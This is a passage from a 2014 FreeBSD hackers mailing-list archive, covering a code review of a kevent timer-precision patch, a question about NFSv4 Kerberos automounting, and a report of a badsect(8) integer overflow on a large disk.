h19sm18455048wiw.17.2014.04.13.12.19.30 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Sun, 13 Apr 2014 12:19:30 -0700 (PDT) Sender: Baptiste Daroussin Date: Sun, 13 Apr 2014 21:19:28 +0200 From: Baptiste Daroussin To: Konstantin Belousov Subject: Re: [CFR] Kevent timer improvements Message-ID: <20140413191928.GE17898@ivaldir.etoilebsd.net> References: <20140310131632.GI6900@ithaqua.etoilebsd.net> <20140310180404.GI32089@funkthat.com> <20140413131550.GD17898@ivaldir.etoilebsd.net> <20140413142028.GD4016@kib.kiev.ua> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="tctmm6wHVGT/P6vA" Content-Disposition: inline In-Reply-To: <20140413142028.GD4016@kib.kiev.ua> User-Agent: Mutt/1.5.23 (2014-03-12) Cc: desrt@desrt.ca, John-Mark Gurney , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 13 Apr 2014 19:19:35 -0000 --tctmm6wHVGT/P6vA Content-Type: multipart/mixed; boundary="CEUtFxTsmBsHRLs3" Content-Disposition: inline --CEUtFxTsmBsHRLs3 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Apr 13, 2014 at 05:20:28PM +0300, Konstantin Belousov wrote: > On Sun, Apr 13, 2014 at 03:15:51PM +0200, Baptiste Daroussin wrote: > > I have splitted my patch in multiple parts, let start with the first on= e: > > adding NOTE_NSECONDS, NOTE_USECONDS, NOTE_NSECONDS > >=20 > > http://people.freebsd.org/~bapt/kevent_timer.diff >=20 [...] > > + else if (flags & NOTE_NSECONDS) > > + modifier =3D SBT_1NS; > It is better to put the 'modifier =3D SBT_1MS;' statement as the else par= t. >=20 > That said, IMO it would be sometimes beneficial to have real flag to > specify milliseconds precision, in addition to milliseconds be the > default. Done in the new patch > > + > > + timer2sbintime(kn->kn_sdata, kn->kn_sfflags), 0 /* 1ms? */, > There, at least the comment about precision should be updated. > But, it seems that for the seconds precision, it makes sense to > specify e.g. 1/2 sec as precision; or add an API flag to allow imprecise > callout scheduling. >=20 While I do agree this might be useful I do not have time to work on that ri= ght now so I just removed the comment which wasn't really accurate anyway. Is that ok? regards, Bapt --CEUtFxTsmBsHRLs3 Content-Type: text/x-diff; charset=us-ascii Content-Disposition: attachment; filename="kevent_timer.diff" Content-Transfer-Encoding: quoted-printable Index: lib/libc/sys/kqueue.2 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- lib/libc/sys/kqueue.2 (revision 264413) +++ lib/libc/sys/kqueue.2 (working copy) @@ -24,7 +24,7 @@ .\" .\" $FreeBSD$ .\" -.Dd April 7, 2014 +.Dd April 13, 2014 .Dt KQUEUE 2 .Os .Sh NAME @@ -465,9 +465,26 @@ which is controlled by the .Va kern.kq_calloutmax sysctl. +.Bl -tag -width XXNOTE_USECONDS +.It Dv NOTE_SECONDS +.Va data +is in seconds. +.It Dv NOTE_MSECONDS +.Va data +is in milliseconds. +.It Dv NOTE_USECONDS +.Va data +is in microseconds. +.It Dv NOTE_NSECONDS +.Va data +is in nanoseconds. +.It +.El .Pp -On return, +If .Va fflags +is not set, the default is milliseconds. On return, +.Va fflags contains the events which triggered the filter. .It Dv EVFILT_USER Establishes a user event identified by Index: sys/kern/kern_event.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- sys/kern/kern_event.c (revision 264413) +++ sys/kern/kern_event.c (working copy) @@ -524,14 +524,24 @@ * interval timer support code. */ static __inline sbintime_t -timer2sbintime(intptr_t data) +timer2sbintime(intptr_t data, int flags) { + sbintime_t modifier; =20 + if (flags & NOTE_SECONDS) + modifier =3D SBT_1S; + else if (flags & NOTE_USECONDS) + modifier =3D SBT_1US; + else if (flags & NOTE_NSECONDS) + modifier =3D SBT_1NS; + else + modifier =3D SBT_1MS; + #ifdef __LP64__ - if (data > SBT_MAX / SBT_1MS) + if (data > SBT_MAX / modifier) return (SBT_MAX); #endif - return (SBT_1MS * data); + return (modifier * data); } =20 static void @@ -547,13 +557,13 @@ if ((kn->kn_flags & EV_ONESHOT) !=3D EV_ONESHOT) { calloutp =3D (struct callout *)kn->kn_hook; callout_reset_sbt_on(calloutp, - timer2sbintime(kn->kn_sdata), 0 /* 1ms? */, + timer2sbintime(kn->kn_sdata, kn->kn_sfflags), 0 filt_timerexpire, kn, PCPU_GET(cpuid), 0); } } =20 /* - * data contains amount of time to sleep, in milliseconds + * data contains amount of time to sleep */ static int filt_timerattach(struct knote *kn) @@ -566,7 +576,7 @@ return (EINVAL); if ((intptr_t)kn->kn_sdata =3D=3D 0 && (kn->kn_flags & EV_ONESHOT) =3D=3D= 0) kn->kn_sdata =3D 1; - to =3D timer2sbintime(kn->kn_sdata); + to =3D timer2sbintime(kn->kn_sdata, kn->kn_sfflags); if (to < 0) return (EINVAL); =20 @@ -583,7 +593,7 @@ calloutp =3D malloc(sizeof(*calloutp), M_KQUEUE, M_WAITOK); callout_init(calloutp, CALLOUT_MPSAFE); kn->kn_hook =3D calloutp; - callout_reset_sbt_on(calloutp, to, 0 /* 1ms? */, + callout_reset_sbt_on(calloutp, to, 0 filt_timerexpire, kn, PCPU_GET(cpuid), 0); =20 return (0); Index: sys/sys/event.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- sys/sys/event.h (revision 264413) +++ sys/sys/event.h (working copy) @@ -133,6 +133,12 @@ #define NOTE_TRACKERR 0x00000002 /* could not track child */ #define NOTE_CHILD 0x00000004 /* am a child process */ =20 +/* additional flags for EVFILE_TIMER */ +#define NOTE_SECONDS 0x00000001 /* data is seconds */ +#define NOTE_MSECONDS 0x00000002 /* data is milliseconds */ +#define NOTE_USECONDS 0x00000004 /* data is microseconds */ +#define NOTE_NSECONDS 0x00000008 /* data is nanoseconds */ + struct knote; SLIST_HEAD(klist, knote); struct kqueue; --CEUtFxTsmBsHRLs3-- --tctmm6wHVGT/P6vA Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iEYEARECAAYFAlNK40AACgkQ8kTtMUmk6EwE2gCfWtKfsmg3V0GAjZGlAKveJjTd 5eYAnR+NWLhlET/TNYo9guLmoasjqdsi =Anz6 -----END PGP SIGNATURE----- --tctmm6wHVGT/P6vA-- From owner-freebsd-hackers@FreeBSD.ORG Sun Apr 13 20:20:47 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 31BCBD8B; Sun, 13 Apr 2014 20:20:47 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id C648211F9; Sun, 13 Apr 2014 20:20:46 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s3DKKdGR069946; Sun, 13 Apr 2014 23:20:39 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s3DKKdGR069946 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s3DKKcnx069944; Sun, 13 Apr 2014 23:20:38 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sun, 13 Apr 2014 23:20:38 +0300 From: Konstantin Belousov To: Baptiste Daroussin Subject: Re: [CFR] Kevent timer improvements Message-ID: <20140413202038.GE4016@kib.kiev.ua> References: <20140310131632.GI6900@ithaqua.etoilebsd.net> <20140310180404.GI32089@funkthat.com> <20140413131550.GD17898@ivaldir.etoilebsd.net> <20140413142028.GD4016@kib.kiev.ua> <20140413191928.GE17898@ivaldir.etoilebsd.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="1ccMZA6j1vT5UqiK" Content-Disposition: inline In-Reply-To: <20140413191928.GE17898@ivaldir.etoilebsd.net> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: desrt@desrt.ca, John-Mark Gurney , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 13 Apr 2014 20:20:47 -0000 --1ccMZA6j1vT5UqiK Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Apr 13, 2014 at 09:19:28PM +0200, Baptiste Daroussin wrote: > On Sun, Apr 13, 2014 at 05:20:28PM +0300, Konstantin Belousov wrote: > > On Sun, Apr 13, 2014 at 03:15:51PM +0200, Baptiste Daroussin wrote: > > > I have splitted my patch in multiple parts, let start with the first = one: > > > adding NOTE_NSECONDS, NOTE_USECONDS, NOTE_NSECONDS > > >=20 > > > http://people.freebsd.org/~bapt/kevent_timer.diff > >=20 > [...] > > > + else if (flags & NOTE_NSECONDS) > > > + modifier =3D SBT_1NS; > > It is better to put the 'modifier =3D SBT_1MS;' statement as the else p= art. > >=20 > > That said, IMO it would be sometimes beneficial to have real flag to > > specify milliseconds precision, in addition to milliseconds be the > > default. >=20 > Done in the new patch > > > + > > > + timer2sbintime(kn->kn_sdata, kn->kn_sfflags), 0 /* 1ms? */, > > There, at least the comment about precision should be updated. > > But, it seems that for the seconds precision, it makes sense to > > specify e.g. 1/2 sec as precision; or add an API flag to allow imprecise > > callout scheduling. > >=20 > While I do agree this might be useful I do not have time to work on that = right > now so I just removed the comment which wasn't really accurate anyway. >=20 > Is that ok? Leave XXX comment right near the zero argument, at least ? > + if (flags & NOTE_SECONDS) > + modifier =3D SBT_1S; > + else if (flags & NOTE_USECONDS) > + modifier =3D SBT_1US; > + else if (flags & NOTE_NSECONDS) > + modifier =3D SBT_1NS; > + else > + modifier =3D SBT_1MS; There should be a case for NOTE_MSECONDS. Hm, I think the checks should be made stronger. System should ensure that only one flag is passed, and no invalid flags are supplied, right ? --1ccMZA6j1vT5UqiK Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTSvGWAAoJEJDCuSvBvK1BaJAQAKVotjhdPfMsh855kgC4+tFO AXteFBGHV7ZS0kC9/vpL9fPS8CxOgDbeaJsrJlnFI2b0+07hL9VZckeGEdM/OZbP vKmzWV4N7Uk51s8cjMO3b27Ogq0n3f74kim7iHRLDW+F9aMOftpDWVr+IoJ9NqvN K2gZ20auBvukIrmsWk8K6e57j/N/ou6huDzcVyPTbej6/Si2eCRkSHCoPq3VZbBy KNYXq4EYC10sMYVD1kRdtPfCuqTdfUs2JdtkVPKOyBUbJKIUPy5XOxUKEELMLaxt /mR10n/3IukxWmrQmJighW89vCy9cmaFf5kwXZNOevBTNt63OKOKBBe80ZXnT6lx GMI8m9tSam0/AGJaWyNHkhNSBZp5HnGH7ARcPI9i8uoV7Ju20xyGy9teuib/G2oe qJOKddQg1YhaPs6HwC49qbos2ynJ0f5cApgoB3P1AqmbwgzCo7iFX2ou3WcgG55l hrRG/m7qo/08hCGDxdkd2Zm3e9UEGEifhd6hMvreYHEJbH+c9Bphlpo0Z0eSmDYh 5uCasja8HnEgH5oy5I2Id3+5vn4SuzvLOWDuCVqI54lyA3JksP37VGn3Zhz0/nMc e1SV28SQtoj/0bpZHuLQAHuAL4sD6oIrCkuTqkn4AHTBd/S3dzsvx82KZGKiMis/ 8Tx6VBK85C+hsh6UMU9Q =qihh -----END PGP SIGNATURE----- --1ccMZA6j1vT5UqiK-- From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 14 01:27:41 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 97429DB2 for ; Mon, 14 Apr 2014 01:27:41 +0000 (UTC) Received: from esa-annu.net.uoguelph.ca (esa-annu.mail.uoguelph.ca [131.104.91.36]) by mx1.freebsd.org (Postfix) with ESMTP id 585441BD2 for ; Mon, 14 Apr 2014 01:27:40 +0000 (UTC) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqYEAEk4S1ODaFve/2dsb2JhbABag0FXgxC4UoZkUYE1dIIlAQEBAwEBAQEgKyALBRQCEQMBAgECAg0HCwcCIwYBCR4IBggHBAEcBIdHAwkIDYwmnBmbOQ2GYxeBKYssgS0bAQEKEQEzBwYSgleBSQSWCWqDJIs+hU+BcoFbITGBBDk X-IronPort-AV: E=Sophos;i="4.97,853,1389762000"; d="scan'208";a="114174844" Received: from muskoka.cs.uoguelph.ca (HELO zcs3.mail.uoguelph.ca) ([131.104.91.222]) by esa-annu.net.uoguelph.ca with ESMTP; 13 Apr 2014 21:27:33 -0400 Received: from zcs3.mail.uoguelph.ca (localhost.localdomain [127.0.0.1]) by zcs3.mail.uoguelph.ca (Postfix) with ESMTP id 51E71B3F19; Sun, 13 Apr 2014 21:27:33 -0400 (EDT) Date: Sun, 13 Apr 2014 21:27:33 -0400 (EDT) From: Rick Macklem To: Cedric Blancher Message-ID: <346915844.10522576.1397438853323.JavaMail.root@uoguelph.ca> In-Reply-To: Subject: Re: Accessing Kerberos NFS version 4 (not 2, 3) via /net automounter with kinit only (no /etc/krb5.conf access) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Originating-IP: [172.17.91.203] X-Mailer: Zimbra 7.2.1_GA_2790 (ZimbraWebClient - FF3.0 (Win)/7.2.1_GA_2790) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 14 Apr 2014 01:27:41 -0000 Cedric Blancher wrote: > On 13 April 2014 01:28, Rick Macklem wrote: > > Cedric Blancher wrote: > >> How hard is it to do this with FreeBSD's NFSv4 implementation? > >> > > Well, amd doesn't know how to do nmount(2) { it still uses the old > > mount(2) syscall } and, as such, can't do an NFSv4 mount. > > - You can`t automount NFSv4. > > > > FreeBSD`s NFSv4 client can do a mount with a user`s credential > > (no system credential in the default keytab file) >=20 > Which system credential? nfs/, host/ or root/? >=20 Whatever name you wish. The "gssname=3D" mount option specifies it. (ie. can be root or nfs or host or whatever else you choose to use. Most servers map them to "nobody", although I think a Solaris server will map "root" to "root" on the server.) > > if non-root > > mounts are enabled, but the mount command must be done manually > > by the user after logging in. >=20 > No automounter? >=20 FreeBSD's automounter is "amd" and it cannot do NFSv4 mounts, because it still uses the old mount(2) syscall and not the newer nmount(2) syscall. (I once took a look and converting it appeared non-trivial, although it would be nice if someone did the conversion someday;-) rick > Ced >=20 > > > > rick > > > >> Ced > >> > >> ---------- Forwarded message ---------- > >> From: Wang Shouhua > >> Date: Sat, Apr 12, 2014 at 11:24 AM > >> Subject: Accessing Kerberos NFS version 4 (not 2, 3) via /net > >> automounter with kinit only (no /etc/krb5.conf access) > >> To: Kerberos@mit.edu > >> > >> > >> Lets recap: > >> > >> 1. Requirements: > >> - Linux or Solaris > >> - NFS automounter set up at /net > >> - Kerberos5 configured for realm EXAMPLE2.COM, rpc.gssd running > >> - A NFS server (version 4 only) nfsserver.most.gov.cn exists in > >> the > >> realm MOST.GOV.CN, with a subdir of test3 > >> > >> 2. Goal: > >> A user provides his password to obtain a ticket for > >> user2@MOST.GOV.CN > >> (optionally nfs@MOST.GOV.CN, if this is a requirement to do a > >> mount), > >> and is then able to cd into /net/nfsserver.most.gov.cn/test3, and > >> do > >> a > >> successful ls -al there > >> > >> Is that possible? > >> > >> Wang > >> > >> ---------- Forwarded message ---------- > >> From: Will Fiveash > >> Date: 11 April 2014 22:14 > >> Subject: Re: Accessing Kerberos NFS via /net automounter with > >> kinit > >> only (no /etc/krb5.conf access) > >> To: Wang Shouhua > >> Cc: Kerberos@mit.edu > >> > >> > >> On Tue, Apr 01, 2014 at 06:00:45PM +0200, Wang Shouhua wrote: > >> > I am on Solaris 10U4 - can I access a NFS filesystem with > >> > (mandatory) > >> > krb5p authentication via the Solaris /net automounter with kinit > >> > only, > >> > without having r/w access to /etc/krb5.conf access)? > >> > >> You'll need to have Solaris krb configured which stores its config > >> in > >> /etc/krb5 not /etc as is the MIT default. You'll also need read > >> access > >> to /etc/krb5/krb5.conf and have the system properly configured to > >> do > >> NFS > >> with krb in general (read the Solaris 10 online docs). > >> > >> Beyond that, whether a user kinit'ing is enough depends on which > >> version > >> of NFS you are using. On the client side NFSv3 sec=3Dkrb5p shares > >> will > >> automount if the user triggering the mount has a krb cred in their > >> ccache (klist will show that) and does not require any keys in the > >> system keytab nor does it require root to have a krb cred in > >> general. > >> > >> NFSv4 on the other hand does require that the root on the NFS > >> client > >> system have a krb cred in its ccache. This can be done either by > >> running kinit as root or having at least one set of keys for > >> either > >> the > >> root/ or host/ service princ in the system keytab > >> which > >> will > >> be automatically used to acquire a krb cred for root. > >> > >> On the client system "nfsstat -m" will show what version of NFS is > >> being > >> used. > >> > >> -- > >> Will Fiveash > >> Oracle Solaris Software Engineer > >> > >> > >> -- > >> Wang Shouhua - shouhuaw@gmail.com > >> =E4=B8=AD=E5=8D=8E=E4=BA=BA=E6=B0=91=E5=85=B1=E5=92=8C=E5=9B=BD=E7=A7= =91=E5=AD=A6=E6=8A=80=E6=9C=AF=E9=83=A8 - HTTP://WWW.MOST.GOV.CN > >> > >> > >> ________________________________________________ > >> Kerberos mailing list Kerberos@mit.edu > >> https://mailman.mit.edu/mailman/listinfo/kerberos > >> > >> > >> -- > >> Cedric Blancher > >> Institute Pasteur > >> _______________________________________________ > >> freebsd-hackers@freebsd.org mailing list > >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > >> To unsubscribe, send any mail to > >> "freebsd-hackers-unsubscribe@freebsd.org" >=20 >=20 >=20 > -- > Cedric Blancher > Institute Pasteur >=20 From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 14 06:19:42 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9EED85FB for ; Mon, 14 Apr 2014 06:19:42 +0000 (UTC) Received: from mail-wg0-x22d.google.com (mail-wg0-x22d.google.com [IPv6:2a00:1450:400c:c00::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 2D7731659 for ; Mon, 14 Apr 2014 06:19:42 +0000 (UTC) Received: by mail-wg0-f45.google.com with SMTP id l18so7598301wgh.28 for ; Sun, 13 Apr 2014 23:19:40 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=n4C7YhbMTp3grfVgHKiWe14hLuxTNl3d7Ru7rhAXJxQ=; b=Rp1wR424eSvioBKmXFoE84NaiRCf4MGL5qT3jbuU9S72Uahw9nKkV+AeLyLMW9yWU1 2DFVhjUkI3AH1v2ymbJ7UFUO6ydoQei68WseVj/wy9fYaJH1PV8k39dzQWF0fb+rS+pm FZ/L1Hi5j2srbHjCjNsmZJmeT5kMHnOAz6YFwM4GxqgacxHd9sTCeFlKugzha5GCFdyS 3qVIDFAxqtDO7REx0HMD1zEyJia0TcEkO42ibG4TsDopOlS83eFaXsuJ87qAKzFzmViZ gp9WZkpfpWn1ul2ds8Jft60pp3xFdbEheJxxJQ8daZYyRYjoqaSDzz8o8lrFerGhRDTG C/6g== X-Received: by 10.180.89.102 with SMTP id bn6mr8217130wib.28.1397456380370; Sun, 13 Apr 2014 23:19:40 -0700 (PDT) Received: from ivaldir.etoilebsd.net ([2001:41d0:8:db4c::1]) by mx.google.com with ESMTPSA id dr2sm21197431wid.2.2014.04.13.23.19.38 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Sun, 13 Apr 2014 23:19:39 -0700 (PDT) Sender: Baptiste Daroussin Date: Mon, 14 Apr 2014 08:19:37 +0200 From: Baptiste Daroussin To: Konstantin Belousov Subject: Re: [CFR] Kevent timer improvements Message-ID: <20140414061936.GA60058@ivaldir.etoilebsd.net> References: <20140310131632.GI6900@ithaqua.etoilebsd.net> <20140310180404.GI32089@funkthat.com> <20140413131550.GD17898@ivaldir.etoilebsd.net> <20140413142028.GD4016@kib.kiev.ua> <20140413191928.GE17898@ivaldir.etoilebsd.net> <20140413202038.GE4016@kib.kiev.ua> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="envbJBWh7q8WU6mo" Content-Disposition: inline In-Reply-To: <20140413202038.GE4016@kib.kiev.ua> User-Agent: Mutt/1.5.23 (2014-03-12) Cc: desrt@desrt.ca, John-Mark Gurney , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 14 Apr 2014 06:19:42 -0000 --envbJBWh7q8WU6mo Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Apr 13, 2014 at 11:20:38PM +0300, Konstantin Belousov wrote: > On Sun, Apr 13, 2014 at 09:19:28PM +0200, Baptiste Daroussin wrote: > > On Sun, Apr 13, 2014 at 05:20:28PM +0300, Konstantin Belousov wrote: > > > On Sun, Apr 13, 2014 at 03:15:51PM +0200, Baptiste Daroussin wrote: > > > > I have splitted my patch in multiple parts, let start with the firs= t one: > > > > adding NOTE_NSECONDS, NOTE_USECONDS, NOTE_NSECONDS > > > >=20 > > > > http://people.freebsd.org/~bapt/kevent_timer.diff > > >=20 > > [...] > > > > + else if (flags & NOTE_NSECONDS) > > > > + modifier =3D SBT_1NS; > > > It is better to put the 'modifier =3D SBT_1MS;' statement as the else= part. > > >=20 > > > That said, IMO it would be sometimes beneficial to have real flag to > > > specify milliseconds precision, in addition to milliseconds be the > > > default. > >=20 > > Done in the new patch > > > > + > > > > + timer2sbintime(kn->kn_sdata, kn->kn_sfflags), 0 /* 1ms? */, > > > There, at least the comment about precision should be updated. > > > But, it seems that for the seconds precision, it makes sense to > > > specify e.g. 1/2 sec as precision; or add an API flag to allow imprec= ise > > > callout scheduling. > > >=20 > > While I do agree this might be useful I do not have time to work on tha= t right > > now so I just removed the comment which wasn't really accurate anyway. > >=20 > > Is that ok? > Leave XXX comment right near the zero argument, at least ? >=20 > > + if (flags & NOTE_SECONDS) > > + modifier =3D SBT_1S; > > + else if (flags & NOTE_USECONDS) > > + modifier =3D SBT_1US; > > + else if (flags & NOTE_NSECONDS) > > + modifier =3D SBT_1NS; > > + else > > + modifier =3D SBT_1MS; > There should be a case for NOTE_MSECONDS. >=20 ok I'll do > Hm, I think the checks should be made stronger. System should ensure > that only one flag is passed, and no invalid flags are supplied, right ? I can check that only one flags is passed and no invalid flagrs are supplie= d but =66rom what I see not a single part of kqueue(2) is checking that, so won't= that be inconsistent with the rest of the API? I can probably check that only ona or 0 of the NOTE_*SECONDS is passed and return EINVAL in that case but no more. (note that more NOTE_* are to be added later) regards, Bapt --envbJBWh7q8WU6mo Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iEYEARECAAYFAlNLffgACgkQ8kTtMUmk6EwNiACgqi+lKt0PnyXazuSUpeaQesQv ogkAoKXz9fxAcVLrj2kta1533Cj56m3F =K9tE -----END PGP SIGNATURE----- --envbJBWh7q8WU6mo-- From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 14 09:58:17 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 342B5A31 for ; Mon, 14 Apr 2014 09:58:17 +0000 (UTC) Received: from ibiza.webweaving.org (ibiza.webweaving.org [204.109.56.32]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id CD3181AF4 for ; Mon, 14 Apr 2014 09:58:16 +0000 (UTC) Received: from pikmeer.webweaving.org (pikmeer.webweaving.org [178.18.23.51]) by ibiza.webweaving.org (8.14.7/8.14.7) with ESMTP id s3E9wFER016606 for ; Mon, 14 Apr 2014 09:58:15 GMT (envelope-from dirkx@webweaving.org) Received: from [10.11.0.104] (a83-163-239-115.adsl.xs4all.nl [83.163.239.115]) (authenticated bits=0) by pikmeer.webweaving.org (8.14.7/8.14.7) with ESMTP id s3E9vhi7006684 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO) for ; Mon, 14 Apr 2014 09:58:14 GMT (envelope-from dirkx@webweaving.org) X-Authentication-Warning: pikmeer.webweaving.org: Host a83-163-239-115.adsl.xs4all.nl [83.163.239.115] claimed to be [10.11.0.104] From: Dirk-Willem van Gulik Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Subject: int32 in badsect.c / int64 Message-Id: Date: Mon, 14 Apr 2014 11:58:33 +0200 To: "freebsd-hackers@freebsd.org Hackers" Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) X-Mailer: Apple Mail (2.1874) X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.7 (ibiza.webweaving.org [204.109.56.32]); Mon, 14 Apr 2014 09:58:15 +0000 (UTC) X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.4.3 (pikmeer.webweaving.org [178.18.23.51]); Mon, 14 Apr 2014 09:58:15 +0000 (UTC) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 14 Apr 2014 09:58:17 -0000 Was trying to map out some bad blocks prior to temporarily read/empty 4 = Tbyte volume using =82badsect(8)=92 - and returing it. Was expecting to be able to put the sector # into badsect (e.g. = 3432631424 from below FSCK output). This gave me a bit of an odd: badsect: 3432631424: Result too large=20 As the daddr_t seems to be a 64bit unsigned; I assumed that the: number =3D strtol(*argv, NULL, 0); was some legacy culprint - and changed it to a strtoll as the daddr_t = you are entering is an int 64.=20 number =3D strtoll(*argv, NULL, 0); That gets it past that point; only to segv out on: cg =3D dtog(fs, fsbn); /usr/include/ufs/ffs/fs.h:#define dtog(fs, d) ((d) / = (fs)->fs_fpg) /usr/include/ufs/ffs/fs.h:#define dtogd(fs, d) ((d) % = (fs)->fs_fpg) a bit later. While fs is valid - it seems fs->fs_fpg returns as =820=92 = =97 why is this ? Is geom too new ? Or is badsect too old/retired ? Dw. aacd1: hard error cmd=3Dread 4246326690-4246326721 .. fsck(8):... THE FOLLOWING DISK SECTORS COULD NOT BE READ: 3432631424, 3432631425, = 3432631426, 3432631427, 3432631428, 3432631429, 3432631430, 3432631431, = 3432631432, 3432631433, 3432631434, 3432631435, 3432631436, 3432631437, = 3432631438, 3432631439, 3432631440, 3432631441, 3432631442, 3432631443, = 3432631444, 3432631445, 3432631446, 3432631447, 3432631448, 3432631449, = 